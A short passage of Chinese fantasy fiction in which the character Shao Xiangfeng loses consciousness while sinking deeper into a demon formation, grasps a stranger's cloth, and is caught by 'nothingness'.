绍相逢觉察到自己头脑晕晕乎乎的,那是一种灵魂抽离身体的知觉。 她知道,情绪波动过大,自己将要坠入妖阵更深处了。 无意识间,她抬起头,想要去看最后一眼。 接着,眼前陷入一片漆黑。 想要抓住什么,迷蒙间,似乎有谁走近了,居高临下俯视她良久,终于弯下了腰。 她拽住了一片布料。 虚无。 虚无承接住了绍相逢不断下坠的肉身。